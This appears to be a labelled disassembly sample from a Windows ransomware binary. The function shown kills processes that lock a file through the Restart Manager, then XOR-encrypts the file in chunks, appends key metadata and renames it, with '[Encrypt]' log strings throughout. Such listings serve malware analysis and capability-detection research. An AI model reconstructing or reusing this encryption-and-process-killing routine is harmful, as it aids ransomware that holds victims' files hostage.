Function at 0x140018710
Capabilities:
Create restart manager session
Enumerate processes that use resource
Move file
Read file on windows
Terminate process
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x360
mov r14, rcx
mov qword [rsp + 0x80], rcx
xor esi, esi
mov rcx, qword [rcx + 0x10]
mov rdx, qword [0x140062e08]
movabs rax, 0x7ffffffffffffffe
sub rax, rcx
cmp rax, rdx
jb 0x140019700
mov r9, r14
cmp qword [r14 + 0x18], 7
jbe 0x140018762
mov r9, qword [r14]
lea rax, [0x140062df8]
cmp qword [0x140062e10], 7
cmova rax, qword [0x140062df8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x168]
call fcn.140008ae0
nop
mov rcx, r14
cmp qword [r14 + 0x18], 7
jbe 0x1400187a3
mov rcx, qword [r14]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x58], rax
cmp rax, 0xffffffffffffffff
jne 0x140018a65
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x1400187eb
mov rdx, qword [r14]
mov r8d, eax
lea rcx, str.____Encrypt__Can_t_open:__s__error:_0x_X_n
call fcn.140001e60
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
je 0x140018814
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x21
jne 0x140019635
mov rax, r14
cmp qword [r14 + 0x18], 7
jbe 0x140018821
mov rax, qword [r14]
mov dword [rsp + 0x40], 0xffffffff
mov qword [rsp + 0x100], rax
mov edi, esi
mov dword [rsp + 0x3b8], esi
mov dword [rsp + 0x78], esi
mov dword [rsp + 0x7c], esi
mov rbx, rsi
lea r8, [rsp + 0x2f0]
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x14001898e
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rsp + 0x100]
lea edx, [rax + 1]
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
mov r13, 0xffffffffffffffff
test eax, eax
jne 0x140018995
nop word [rax + rax]
lea rax, [rsp + 0x7c]
mov qword [rsp + 0x20], rax
mov r9, rbx
lea r8, [rsp + 0x3b8]
lea rdx, [rsp + 0x78]
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
je 0x140018916
cmp eax, 0xea
jne 0x14001897f
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x3b8], eax
test rbx, rbx
je 0x1400188f2
mov rcx, rbx
call fcn.1400253f4
mov eax, dword [rsp + 0x3b8]
mov ecx, eax
mov eax, 0x29c
mul rcx
cmovo rax, r13
mov rcx, rax
call fcn.140025440
mov rbx, rax
mov eax, edi
inc edi
cmp eax, 3
jb 0x1400188a0
jmp 0x14001897f
cmp dword [rsp + 0x7c], 0
jne 0x14001897f
xor r8d, r8d
xor edx, edx
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.RstrtMgr.DLL_RmShutdown]
test eax, eax
jne 0x14001897f
mov edi, esi
cmp dword [rsp + 0x3b8], esi
jbe 0x14001897f
nop dword [rax + rax]
mov eax, edi
imul r8, rax, 0x29c
mov r8d, dword [r8 + rbx]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
test rax, rax
je 0x140018974
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [rsp + 0x3b8]
jb 0x140018940
test rbx, rbx
je 0x140018995
mov rcx, rbx
call fcn.1400253f4
jmp 0x140018995
mov r13, 0xffffffffffffffff
mov ecx, dword [rsp + 0x40]
cmp ecx, 0xffffffff
je 0x1400189a4
call qword [sym.imp.RstrtMgr.DLL_RmEndSession]
lea rcx, [rsp + 0x108]
call fcn.140016330
movabs rcx, 0x7fffffff1194d7ff
mov rax, qword [rsp + 0x108]
cmp rax, rcx
je 0x1400189e1
setl cl
test cl, cl
je 0x1400189e1
mov ecx, 0xee6b2800
add rcx, rax
mov qword [rsp + 0xd0], rcx
jmp 0x1400189f3
movabs rdi, 0x7fffffffffffffff
mov qword [rsp + 0xd0], rdi
lea rcx, [rsp + 0xd0]
call fcn.14001fa20
mov rcx, r14
cmp qword [r14 + 0x18], 7
jbe 0x140018a0d
mov rcx, qword [r14]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x58], rax
cmp rax, 0xffffffffffffffff
jne 0x140018a6c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x140018a51
mov rdx, qword [r14]
mov r8d, eax
lea rcx, str.____Encrypt__Can_t_open_after_unlock:__s__error:_0x_X_n
call fcn.140001e60
jmp 0x140019635
mov r13, 0xffffffffffffffff
movabs r15, 0x7fffffffffffffff
mov r12, rax
mov qword [rsp + 0x60], rax
xor al, al
mov byte [rsp + 0x3b0], al
mov byte [rsp + 0x3a8], al
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xe8], xmm0
mov qword [rsp + 0xf8], rsi
movdqu xmmword [rsp + 0xb8], xmm0
mov qword [rsp + 0xc8], rsi
lea rcx, [0x14006a4d8]
call sub.KERNEL32.dll_AcquireSRWLockShared
nop
lea rdx, [0x14006a530]
lea rcx, [rsp + 0xe8]
call fcn.140014ec0
lea rdx, [0x14006a548]
lea rcx, [rsp + 0xb8]
call fcn.140014ec0
mov rdi, qword [rsp + 0xc0]
mov qword [rsp + 0x68], rdi
mov rax, rdi
sub rax, qword [rsp + 0xb8]
cmp rax, 0x100
jne 0x140018b22
mov rax, qword [rsp + 0xf0]
sub rax, qword [rsp + 0xe8]
cmp rax, 0x28
jne 0x140018b22
mov bl, 1
jmp 0x140018b24
xor bl, bl
mov byte [rsp + 0x3a8], bl
jmp 0x140018b5f
lea rcx, [0x14006a4d8]
call sub.KERNEL32.dll_ReleaseSRWLockShared
test bl, bl
je 0x14001958c
lea r12, [r14 + 0x20]
mov rdi, qword [r12]
mov qword [rsp + 0x50], rdi
cmp dword [0x140062c70], 0
je 0x140018c18
mov rcx, r14
cmp qword [r14 + 0x18], 7
jbe 0x140018b9a
mov rcx, qword [r14]
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
mov qword [rsp + 0x3a8], rax
mov rbx, qword [0x140062d30]
mov r15, qword [0x140062d38]
cmp rbx, r15
je 0x140018bfb
nop dword [rax + rax]
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140018bcd
mov rdx, qword [rbx]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140018c66
add rbx, 0x20
cmp rbx, r15
mov rax, qword [rsp + 0x3a8]
jne 0x140018bc0
mov r12, qword [rsp + 0x80]
add r12, 0x20
mov eax, dword [0x140062c70]
cmp qword [r12], rax
jle 0x140018c0e
mov edi, eax
mov qword [rsp + 0x50], rax
movabs r15, 0x7fffffffffffffff
mov r8, qword [0x140062ce8]
mov rbx, r8
mov rdx, qword [0x140062ce0]
sub rbx, rdx
mov rcx, qword [rsp + 0x68]
sub rcx, qword [rsp + 0xb8]
mov qword [rsp + 0x68], rcx
add rbx, 0x14
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], rsi
add rbx, rcx
je 0x140018cc3
cmp rbx, r15
ja 0x140019706
jmp 0x140018c74
mov r12, qword [rsp + 0x80]
add r12, 0x20
jmp 0x140018c0e
mov rdx, rbx
lea rcx, [rsp + 0x88]
call fcn.140009ab0
mov r15, qword [rsp + 0x88]
add rbx, r15
mov r8, rbx
sub r8, r15
xor edx, edx
mov rcx, r15
call fcn.140047760
mov qword [rsp + 0x90], rbx
mov r12, qword [rsp + 0x80]
add r12, 0x20
mov r8, qword [0x140062ce8]
mov rdx, qword [0x140062ce0]
jmp 0x140018cd3
mov rbx, qword [rsp + 0x90]
mov r15, qword [rsp + 0x88]
sub r8, rdx
mov rcx, r15
call fcn.1400470c0
mov rcx, qword [0x140062ce8]
sub rcx, qword [0x140062ce0]
add rcx, r15
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0xb8]
call fcn.1400470c0
mov rax, qword [0x140062ce8]
sub rax, qword [0x140062ce0]
mov r8, qword [rsp + 0x68]
lea rdx, [r15 + r8]
mov qword [rax + rdx], rdi
mov rcx, qword [0x140062ce8]
sub rcx, qword [0x140062ce0]
mov eax, dword [0x14006a4a4]
mov dword [rcx + rdx + 8], eax
mov rcx, qword [0x140062ce8]
sub rcx, qword [0x140062ce0]
add rcx, r8
mov eax, dword [0x140062c74]
mov dword [rcx + r15 + 0xc], eax
mov rcx, qword [0x140062ce8]
sub rcx, qword [0x140062ce0]
add rcx, r8
mov eax, dword [0x14006a4ac]
mov dword [rcx + r15 + 0x10], eax
mov qword [rsp + 0x148], rsi
mov qword [rsp + 0x150], rsi
mov qword [rsp + 0x160], rsi
mov eax, dword [r12]
mov dword [rsp + 0x158], eax
mov eax, dword [r14 + 0x24]
mov dword [rsp + 0x15c], eax
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x44], esi
sub rbx, r15
lea rax, [rsp + 0x148]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x48]
mov r8d, ebx
mov rdx, r15
mov r12, qword [rsp + 0x58]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400194cc
mov eax, dword [rsp + 0x48]
cmp rax, rbx
jne 0x1400194cc
mov eax, dword [0x140062c74]
mov rcx, rdi
cmp rdi, rax
cmovg rcx, rax
mov qword [rsp + 0x68], rcx
mov rbx, rsi
cmp dword [0x14006a494], 1
jne 0x1400192b9
mov byte [rsp + 0x3a8], 0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rsi
mov r8, rsi
mov qword [rsp + 0x60], rsi
mov rdx, rsi
psrldq xmm0, 8
movq qword [rsp + 0xa8], xmm0
nop word [rax + rax]
cmp rbx, rdi
je 0x14001912d
cmp byte [rsp + 0x3a8], 0
jne 0x14001912d
mov r12, rdi
sub r12, rbx
cmp rcx, r12
cmovb r12, rcx
mov qword [rsp + 0x218], rbx
mov qword [rsp + 0x220], r12
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x228], rax
mov qword [rsp + 0x230], rdx
mov qword [rsp + 0x238], r8
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x240], rax
lea rax, [rsp + 0x3a8]
mov qword [rsp + 0x248], rax
mov qword [rsp + 0x250], rcx
mov ecx, 0x120
call fcn.1400253fc
mov rdi, rax
mov qword [rsp + 0x1f0], rax
lea rdx, [rsp + 0x218]
mov rcx, rax
call fcn.140020bd0
nop
lea rax, vtable.std::_Task_async_state_unsigned_long_int_.0
mov qword [rdi], rax
lea r15, [rdi + 0x110]
mov qword [r15], rsi
mov qword [r15 + 8], rsi
lea rax, [rsp + 0x188]
mov qword [rsp + 0x1f8], rax
call fcn.140016b80
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x140018f19
lock inc dword [rcx + 8]
mov rcx, qword [rax]
mov qword [rsp + 0x138], rcx
mov rax, qword [rax + 8]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x188], rcx
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], rcx
mov qword [rsp + 0x1a0], rsi
lea rcx, [rsp + 0x1a8]
call fcn.1400246c4
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x1c8], xmm0
mov qword [rsp + 0x1d8], rsi
mov qword [rsp + 0x1c0], rsi
mov byte [rsp + 0x1b8], 0
mov word [rsp + 0x1e0], 0
lea r8, [rsp + 0x188]
mov rdx, rdi
lea rcx, [rsp + 0x208]
call fcn.140020cf0
cmp r15, rax
je 0x140018fb3
mov rdx, rax
mov rcx, r15
call fcn.14001eb90
mov r15, qword [rsp + 0x210]
test r15, r15
je 0x140018fed
mov eax, r13d
lock xadd dword [r15 + 8], eax
cmp eax, 1
jne 0x140018fed
mov rax, qword [r15]
mov rcx, r15
call qword [rax]
mov eax, r13d
lock xadd dword [r15 + 0xc], eax
cmp eax, 1
jne 0x140018fed
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 8]
mov byte [rdi + 0xc2], 1
mov qword [rsp + 0xd8], rdi
mov byte [rsp + 0xe0], 1
lock inc dword [rdi + 8]
mov eax, r13d
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140019039
mov rcx, qword [rdi + 0xc8]
test rcx, rcx
je 0x14001902b
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax]
jmp 0x140019039
mov rax, qword [rdi]
mov edx, 1
mov rcx, rdi
call qword [rax]
nop
mov rax, qword [rsp + 0xa8]
cmp rax, qword [rsp + 0xb0]
je 0x140019068
mov rcx, rsi
mov qword [rsp + 0xd8], rcx
mov qword [rax], rdi
mov byte [rax + 8], 1
add qword [rsp + 0xa8], 0x10
jmp 0x14001908d
lea r8, [rsp + 0xd8]
mov rdx, qword [rsp + 0xa8]
lea rcx, [rsp + 0xa0]
call fcn.14001faf0
mov rcx, qword [rsp + 0xd8]
test rcx, rcx
je 0x1400190ca
mov eax, r13d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x1400190ca
mov rcx, qword [rsp + 0xd8]
mov r8, qword [rcx + 0xc8]
test r8, r8
je 0x1400190c0
mov rax, qword [r8]
mov rdx, rcx
mov rcx, r8
call qword [rax]
jmp 0x1400190ca
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
add rbx, r12
mov rax, r12
shr rax, 6
mov r8, qword [rsp + 0x60]
add r8, rax
mov qword [rsp + 0x60], r8
and r12d, 0x3f
mov edx, 0x40
sub rdx, r12
mov r15, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x50]
cmp dword [0x14006a4a4], 1
je 0x14001910d
mov rcx, qword [rsp + 0x68]
jmp 0x140018e40
mov rcx, rdi
sub rcx, rbx
mov eax, dword [0x14006a4ac]
cmp rax, rcx
cmovge rax, rcx
add rbx, rax
mov rcx, qword [rsp + 0x68]
jmp 0x140018e40
mov rbx, rsi
mov r12, qword [rsp + 0x50]
cmp byte [rsp + 0x3a8], 0
jne 0x140019207
mov rcx, rsi
mov qword [rsp + 0x60], rcx
mov rax, qword [rsp + 0xa8]
mov rdi, qword [rsp + 0xa0]
sub rax, rdi
sar rax, 4
cmp rcx, rax
jae 0x14001920f
mov rax, rcx
shl rax, 4
add rax, rdi
mov rdi, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x68], rdi
mov byte [rsp + 0x70], 1
test rdi, rdi
je 0x14001970c
cmp byte [rdi + 0xb8], 0
jne 0x14001970c
mov rax, qword [rdi]
mov dl, 1
mov rcx, rdi
call qword [rax + 0x10]
mov r15d, dword [rax]
mov eax, r13d
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x1400191d9
mov rcx, qword [rdi + 0xc8]
test rcx, rcx
je 0x1400191cc
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax]
jmp 0x1400191d9
mov rax, qword [rdi]
mov edx, 1
mov rcx, rdi
call qword [rax]
add rbx, r15
mov rcx, r12
sub rcx, rbx
mov eax, dword [0x14006a4ac]
cmp rax, rcx
cmovge rax, rcx
add rbx, rax
mov rcx, qword [rsp + 0x60]
inc rcx
mov r15, qword [rsp + 0x88]
jmp 0x140019146
mov rdi, qword [rsp + 0xa0]
test rdi, rdi
je 0x140019464
cmp rdi, qword [rsp + 0xa8]
je 0x140019278
mov rcx, qword [rdi]
test rcx, rcx
je 0x14001925a
mov eax, r13d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x14001925a
mov r8, qword [rcx + 0xc8]
test r8, r8
je 0x140019250
mov rax, qword [r8]
mov rdx, rcx
mov rcx, r8
call qword [rax]
jmp 0x14001925a
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
add rdi, 0x10
cmp rdi, qword [rsp + 0xa8]
jne 0x140019222
mov r15, qword [rsp + 0x88]
mov rdi, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0xb0]
sub rdx, rdi
and rdx, 0xfffffffffffffff0
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400192ac
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019717
mov rcx, rdi
call fcn.1400253f4
jmp 0x140019464
call fcn.140025440
mov r13, rax
mov r8, qword [rsp + 0x68]
xor edx, edx
mov rcx, rax
call fcn.140047760
mov rdx, qword [rsp + 0xe8]
lea r8, [rdx + 0x20]
lea rcx, [rsp + 0x260]
call fcn.140015ae0
mov qword [rsp + 0x2e0], 0x40
mov qword [rsp + 0x290], 0
test rdi, rdi
je 0x140019457
nop word [rax + rax]
mov qword [rsp + 0x118], rsi
mov qword [rsp + 0x120], rsi
mov qword [rsp + 0x130], rsi
mov dword [rsp + 0x128], ebx
mov rax, rbx
shr rax, 0x20
mov dword [rsp + 0x12c], eax
mov r12, rdi
sub r12, rbx
cmp qword [rsp + 0x68], r12
cmovb r12, qword [rsp + 0x68]
lea rax, [rsp + 0x118]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x44]
mov r8d, r12d
mov rdx, r13
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001944f
mov r8d, dword [rsp + 0x44]
mov r15d, r8d
cmp r8, r12
jne 0x14001944f
test r8d, r8d
je 0x1400193f6
mov rdi, r13
mov rax, qword [rsp + 0x2e0]
nop word [rax + rax]
cmp rax, 0x40
jb 0x1400193c6
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0x260]
call fcn.1400160c0
mov rax, rsi
mov qword [rsp + 0x2e0], rax
movzx eax, byte [rsp + rax + 0x2a0]
xor byte [rdi], al
mov rax, qword [rsp + 0x2e0]
inc rax
mov qword [rsp + 0x2e0], rax
inc rdi
sub r15, 1
jne 0x1400193a0
mov r8d, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x50]
lea rax, [rsp + 0x118]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x48]
mov rdx, r13
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14001944f
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jne 0x14001944f
add rbx, r12
cmp dword [0x14006a4a4], 1
jne 0x140019446
mov rdx, rdi
sub rdx, rbx
mov eax, dword [0x14006a4ac]
cmp rax, rdx
cmovge rax, rdx
add rbx, rax
cmp rbx, rdi
jne 0x140019310
mov r15, qword [rsp + 0x88]
mov rcx, r13
call fcn.1400253f4
mov r12, qword [rsp + 0x50]
cmp rbx, r12
jne 0x140019493
mov rdx, r14
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x18], 7
jbe 0x14001947e
mov rdx, qword [r14]
lea rcx, str.___Encrypt__Encrypted:__s_n
call fcn.140001e60
mov bl, 1
mov r12, qword [rsp + 0x58]
jmp 0x1400194f6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r14
mov rcx, qword [rsp + 0x80]
cmp qword [rcx + 0x18], 7
jbe 0x1400194ae
mov rdx, qword [r14]
mov qword [rsp + 0x20], r12
mov r9, rbx
mov r8d, eax
lea rcx, str.____Encrypt__Not_encrypted:__s__error:_0x_X___lld____lld_n
call fcn.140001e60
mov r12, qword [rsp + 0x58]
jmp 0x1400194ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x1400194df
mov rdx, qword [r14]
mov r8d, eax
lea rcx, str.____Encrypt__Can_t_write_information:__s__error:_0x_X_n
call fcn.140001e60
movzx ebx, byte [rsp + 0x3b0]
test r15, r15
je 0x140019533
mov rdx, qword [rsp + 0x98]
sub rdx, r15
mov rax, r15
cmp rdx, 0x1000
jb 0x14001952b
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001971d
mov rcx, r15
call fcn.1400253f4
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x1400195af
lea rdx, [rsp + 0x168]
cmp qword [rsp + 0x180], 7
cmova rdx, qword [rsp + 0x168]
mov rcx, r14
cmp qword [r14 + 0x18], 7
jbe 0x140019567
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x1400195af
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x14001957e
mov rdx, qword [r14]
lea rcx, str.____Encrypt__Not_moved:__s_n
call fcn.140001e60
jmp 0x1400195af
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x140019599
mov rdx, qword [r14]
lea rcx, str.____Encrypt__Can_t_run_for:__s_n
call fcn.140001e60
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rsp + 0xb8]
test rcx, rcx
je 0x1400195f2
mov rdx, qword [rsp + 0xc8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400195ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019723
call fcn.1400253f4
nop
mov rcx, qword [rsp + 0xe8]
test rcx, rcx
je 0x140019635
mov rdx, qword [rsp + 0xf8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001962f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019729
call fcn.1400253f4
nop
mov rdx, qword [rsp + 0x180]
cmp rdx, 7
jbe 0x14001967e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019678
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001972f
call fcn.1400253f4
nop
jmp 0x14001968a
test r14, r14
je 0x1400196e7
mov rdx, qword [r14 + 0x18]
cmp rdx, 7
jbe 0x1400196ca
lea rdx, [rdx*2 + 2]
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x1400196c5
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400196fa
mov rcx, r8
call fcn.1400253f4
mov qword [r14 + 0x10], rsi
mov qword [r14 + 0x18], 7
mov word [r14], si
mov edx, 0x28
mov rcx, r14
call fcn.1400253f4
add rsp, 0x360
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
call fcn.140036744
nop
call fcn.1400016e0
nop
call fcn.140006350
nop
mov ecx, 4
call fcn.140018080
nop
call fcn.140036744
nop
call fcn.140036744
nop
call fcn.140036744
nop
call fcn.140036744
nop
call fcn.140036744
int3